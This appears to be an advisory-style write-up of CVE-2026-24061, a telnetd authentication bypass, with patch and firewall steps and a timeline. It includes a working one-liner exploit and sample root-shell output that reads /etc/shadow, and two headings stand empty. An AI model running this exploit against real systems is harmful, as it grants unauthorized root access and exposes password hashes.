
CVE-2026-24061
Critical Remote Authentication Bypass in GNU Inetutils telnetd
The ghost of 2015 just came back to own everything still running telnet.
Zero authentication. One environment variable. Instant root shell.
CVE-2026-24061 is a critical remote privilege escalation vulnerability in GNU Inetutils telnetd ≤ 2.7.
An unauthenticated remote attacker sets the USER environment variable to "-f root" via the Telnet NEW-ENVIRON option.
telnetd passes it unsanitized straight to /bin/login → login sees -f root → skips all authentication → drops attacker into a root shell.
The dangerous code sat quietly in the tree for nearly 11 years (since ~2015).
“One env var. No password. Full root. Welcome to 2026.”
Reality in March 2026:
When telnetd receives a NEW-ENVIRON option containing:
USER=-f root
It appends the value directly to the argv passed to /bin/login:
execve("/bin/login", ["login", "-f", "root", ...], ...)
The login binary interprets -f root as:
“this user is already authenticated as root — no password check needed.”
→ Attacker gets # prompt. Game over.
Key fatal design choice: -R / env var forwarding was never restricted to authorized users.
Vulnerable versions: GNU Inetutils telnetd 1.9.3 – 2.7
Common targets in 2026:
Safe:
One-liner (any Linux/macOS with telnet client):
USER="-f root" telnet -a 192.168.1.50
Typical output:
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
One Enter key press later — full root access.
telnet localhost 23 # look for inetutils banner
inetutils-telnetd --version # vulnerable if ≤ 2.7
systemctl disable --now inetutils-inetd # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp
| Date | Event |
|---|
| ~March 2015 | Vulnerable env handling introduced |
| Jan 2026 | Private report to upstream |
| Late Jan 2026 | Public disclosure & CVE assignment |
| Late Jan 2026 | Fix released (Inetutils ≥ 2.8) |
| Jan 26, 2026 | Added to CISA Known Exploited Vulnerabilities catalog |
| Feb–Mar 2026 | Exploitation spikes against legacy/OT systems |
| March 2026 | Many embedded vendors still silent or unpatched |